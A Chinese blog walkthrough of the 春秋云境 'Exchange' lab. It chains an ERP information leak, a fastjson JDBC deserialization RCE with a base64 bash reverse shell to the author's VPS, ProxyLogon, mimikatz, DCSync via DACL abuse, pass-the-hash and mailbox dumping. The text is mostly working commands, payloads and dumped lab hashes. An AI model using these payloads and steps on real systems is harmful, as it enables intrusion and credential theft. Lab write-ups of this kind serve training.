春秋云境·Exchange – fushulingのblog

考点:

华夏ERP信息泄露
fastjson 1.2.55+JDBC RCE
ProxyLogon
writeDacl写DCSync
一个比较低能的压缩包解密

登录界面是个华夏 ERP，有个信息泄露可以泄露用户密码：

http://39.98.108.154:8000/user/getAllList;.ico

{"code":200,"data":{"userList":[{"id":63,"username":"季圣华","loginName":"jsh","password":"e10adc3949ba59abbe56e057f20f883e","position":"","department":null,"email":"","phonenum":"","ismanager":1,"isystem":1,"status":0,"description":"","remark":null,"tenantId":63},{"id":120,"username":"管理员","loginName":"admin","password":"e10adc3949ba59abbe56e057f20f883e","position":null,"department":null,"email":null,"phonenum":null,"ismanager":1,"isystem":0,"status":0,"description":null,"remark":null,"tenantId":null},{"id":131,"username":"测试用户","loginName":"test123","password":"e10adc3949ba59abbe56e057f20f883e","position":"","department":null,"email":"","phonenum":"","ismanager":1,"isystem":0,"status":0,"description":"","remark":null,"tenantId":63}]}}

但登进后台了也没卵用，似乎没什么后台洞，不过可以参考蓝帽杯2022决赛 – 赌怪 writeup打JDBC

在自己vps起个恶意mysql服务https://github.com/fnmsd/MySQL_Fake_Server

config.json配置(ysoserial-all.jar和server.py放一起)，bash -c后面替换成base64后反弹shell的payload，其他照抄

    {
        "config":{
            "ysoserialPath":"ysoserial-all.jar",
            "javaBinPath":"java",
            "fileOutputDir":"./fileOutput/",
            "displayFileContentOnScreen":true,
            "saveToFile":true
        },
        "fileread":{
            "win_ini":"c:\\windows\\win.ini",
            "win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
            "win":"c:\\windows\\",
            "linux_passwd":"/etc/passwd",
            "linux_hosts":"/etc/hosts",
            "index_php":"index.php",
            "ssrf":"https://www.baidu.com/",
            "__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]
        },
        "yso":{
            "Jdk7u21":["Jdk7u21","calc"],
            "CommonsCollections6":["CommonCollections6","bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUueHgueHgueHgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"]
        }
    }

python3 server.py启动服务。

然后向网站请求的payload就是下面这个url编码后的

{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "VPS-IP", "portToConnectTo": 3306, "info": { "user": "yso_CommonsCollections6_bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUueHgueHgueHgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" } }

flag在根目录下

然后wget下一下fscan和Stowaway，扫内网+代理

start infoscan
(icmp) Target 172.22.3.12     is alive
(icmp) Target 172.22.3.2      is alive
(icmp) Target 172.22.3.9      is alive
(icmp) Target 172.22.3.26     is alive
[*] Icmp alive hosts len is: 4
172.22.3.9:808 open
172.22.3.12:80 open
172.22.3.12:22 open
172.22.3.12:8000 open
172.22.3.2:88 open
172.22.3.9:445 open
172.22.3.2:445 open
172.22.3.26:445 open
172.22.3.9:443 open
172.22.3.26:139 open
172.22.3.9:8172 open
172.22.3.9:139 open
172.22.3.2:139 open
172.22.3.26:135 open
172.22.3.9:135 open
172.22.3.2:135 open
172.22.3.9:81 open
172.22.3.9:80 open
[*] alive ports len is: 18
start vulscan
[*] NetInfo:
[*]172.22.3.2
   [->]XIAORANG-WIN16
   [->]172.22.3.2
[*] NetInfo:
[*]172.22.3.26
   [->]XIAORANG-PC
   [->]172.22.3.26
[*] NetBios: 172.22.3.26     XIAORANG\XIAORANG-PC           
[*] NetInfo:
[*]172.22.3.9
   [->]XIAORANG-EXC01
   [->]172.22.3.9
[*] 172.22.3.2  (Windows Server 2016 Datacenter 14393)
[*] NetBios: 172.22.3.2      [+]DC XIAORANG-WIN16.xiaorang.lab      Windows Server 2016 Datacenter 14393 
[*] NetBios: 172.22.3.9      XIAORANG-EXC01.xiaorang.lab         Windows Server 2016 Datacenter 14393 
[*] WebTitle: http://172.22.3.12        code:200 len:19813  title:lumia
[*] WebTitle: http://172.22.3.12:8000   code:302 len:0      title:None 跳转url: http://172.22.3.12:8000/login.html
[*] WebTitle: http://172.22.3.12:8000/login.html code:200 len:5662   title:Lumia ERP
[*] WebTitle: http://172.22.3.9:81      code:403 len:1157   title:403 - 禁止访问: 访问被拒绝。
[*] WebTitle: https://172.22.3.9:8172   code:404 len:0      title:None
[*] WebTitle: http://172.22.3.9         code:403 len:0      title:None
[*] WebTitle: https://172.22.3.9        code:302 len:0      title:None 跳转url: https://172.22.3.9/owa/
[*] WebTitle: https://172.22.3.9/owa/auth/logon.aspx?url=https%3a%2f%2f172.22.3.9%2fowa%2f&reason=0 code:200 len:28237  title:Outlook
已完成 18/18
[*] 扫描结束,耗时: 21.782275137s

172.22.3.12     拿下
172.22.3.9      EXC01
172.22.3.2      DC
172.22.3.26     PC

172.22.3.9访问一下发现是Exchange Server 2016, 直接打ProxyLogon

proxychains python2 proxylogon.py 172.22.3.9 administrator@xiaorang.lab

打完会弹一个system的Shell，我们添加用户

net user fushuling qwer1234! /add
net localgroup administrators fushuling /add

然后rdp上去拿flag

传一个猕猴桃抓一下密码

.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > 1.txt

Authentication Id : 0 ; 9932817 (00000000:00979011)
Session           : Interactive from 3
User Name         : DWM-3
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2023/10/3 16:59:45
SID               : S-1-5-90-0-3
	msv :	
	 [00000003] Primary
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * NTLM     : 4de6c4eeee1f315e1241c4a813e2b3b5
	 * SHA1     : 1baa389164425a69f764c89fb49ee4009c0449fc
	tspkg :	
	wdigest :	
	 * Username : XIAORANG-EXC01$
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : XIAORANG-EXC01$
	 * Domain   : xiaorang.lab
Authentication Id : 0 ; 266425 (00000000:000410b9)
Session           : Service from 0
User Name         : Zhangtong
Domain            : XIAORANG
Logon Server      : XIAORANG-WIN16
Logon Time        : 2023/10/3 16:29:19
SID               : S-1-5-21-533686307-2117412543-4200729784-1147
	msv :	
	 [00000003] Primary
	 * Username : Zhangtong
	 * Domain   : XIAORANG
	 * NTLM     : 22c7f81993e96ac83ac2f3f1903de8b4
	 * SHA1     : 4d205f752e28b0a13e7a2da2a956d46cb9d9e01e
	 * DPAPI    : ed14c3c4ef895b1d11b04fb4e56bb83b
	tspkg :	
	wdigest :	
	 * Username : Zhangtong
	 * Domain   : XIAORANG
	 * Password : (null)
	kerberos :	
	 * Username : Zhangtong
	 * Domain   : xiaorang.lab
	 * Password : ZhangtT9Kq6IV2
	ssp :	
	credman

比较重要的就是EXC01机器账户的哈希4de6c4eeee1f315e1241c4a813e2b3b5和Zhangtong用户的哈希22c7f81993e96ac83ac2f3f1903de8b4。用bloodhound分析一下发现EXC01机器账户默认对域内成员具有writeDacl权限，这个权限允许身份修改指定对象ACL，所以可以给Zhangtong修改个DCSync，然后就可以抓域控哈希了。

dacledit.py：https://github.com/ThePorgs/impacket

proxychains python3 dacledit.py xiaorang.lab/XIAORANG-EXC01\$ -hashes :4de6c4eeee1f315e1241c4a813e2b3b5 -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2

proxychains python3 secretsdump.py xiaorang.lab/Zhangtong@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc-ntlm

xiaorang.lab\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7acbc09a6c0efd81bfa7d5a1d4238beb:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b8fa79a52e918cb0cbcd1c0ede492647:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\$431000-7AGO1IPPEUGJ:1124:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_46bc0bcd781047eba:1125:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_2554056e362e45ba9:1126:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_ae8e35b0ca3e41718:1127:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_341e33a8ba4d46c19:1128:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_3d52038e2394452f8:1129:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_2ddd7a0d26c84e7cb:1130:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_015b052ab8324b3fa:1131:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_9bd6f16aa25343e68:1132:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\SM_68af2c4169b54d459:1133:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
xiaorang.lab\HealthMailbox8446c5b:1135:aad3b435b51404eeaad3b435b51404ee:6a049c17ae6f214d0ce0bb958be94c7a:::
xiaorang.lab\HealthMailbox0d5918e:1136:aad3b435b51404eeaad3b435b51404ee:33cd42e4c654333ef6118bea55f376ba:::
xiaorang.lab\HealthMailboxeda7a84:1137:aad3b435b51404eeaad3b435b51404ee:1e89e23e265bb7b54dc87938b1b1a131:::
xiaorang.lab\HealthMailbox33b01cf:1138:aad3b435b51404eeaad3b435b51404ee:0eff3de35019c2ee10b68f48941ac50d:::
xiaorang.lab\HealthMailbox9570292:1139:aad3b435b51404eeaad3b435b51404ee:e434c7db0f0a09de83f3d7df25ec2d2f:::
xiaorang.lab\HealthMailbox3479a75:1140:aad3b435b51404eeaad3b435b51404ee:c43965ecaa92be22c918e2604e7fbea0:::
xiaorang.lab\HealthMailbox2d45c5b:1141:aad3b435b51404eeaad3b435b51404ee:4822b67394d6d93980f8e681c452be21:::
xiaorang.lab\HealthMailboxec2d542:1142:aad3b435b51404eeaad3b435b51404ee:147734fa059848c67553dc663782e899:::
xiaorang.lab\HealthMailboxf5f7dbd:1143:aad3b435b51404eeaad3b435b51404ee:e7e4f69b43b92fb37d8e9b20848e6b66:::
xiaorang.lab\HealthMailbox67dc103:1144:aad3b435b51404eeaad3b435b51404ee:4fe68d094e3e797cfc4097e5cca772eb:::
xiaorang.lab\HealthMailbox320fc73:1145:aad3b435b51404eeaad3b435b51404ee:0c3d5e9fa0b8e7a830fcf5acaebe2102:::
xiaorang.lab\Lumia:1146:aad3b435b51404eeaad3b435b51404ee:862976f8b23c13529c2fb1428e710296:::
Zhangtong:1147:aad3b435b51404eeaad3b435b51404ee:22c7f81993e96ac83ac2f3f1903de8b4:::
XIAORANG-WIN16$:1000:aad3b435b51404eeaad3b435b51404ee:b9df9852037915b5f26114769ace114a:::
XIAORANG-EXC01$:1103:aad3b435b51404eeaad3b435b51404ee:b0d89dce8c89f4a43758961e8f782174:::
XIAORANG-PC$:1104:aad3b435b51404eeaad3b435b51404ee:74d63202f94c220e09056568feafa894:::
[*] Cleaning up...

先pth一下域控拿flag4

proxychains python3 wmiexec.py xiaorang.lab/Administrator@172.22.3.2 -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb -dc-ip 172.22.3.2

最后一个flag在邮件里，dump一下邮件内容(https://github.com/Jumbo-WJB/PTH_Exchange)

proxychains python3 pthexchange.py --target https://172.22.3.9/ --username Lumia --password '00000000000000000000000000000000:862976f8b23c13529c2fb1428e710296' --action Download

看到一个压缩包，里面是flag但有密码，翻一下邮件内容，发现密码就是电话

电话也在邮件里被我们导出来了，把电话另存为1.txt，john爆一下即可

zip2john secret.zip >zip.txt
john --wordlist=1.txt zip.txt

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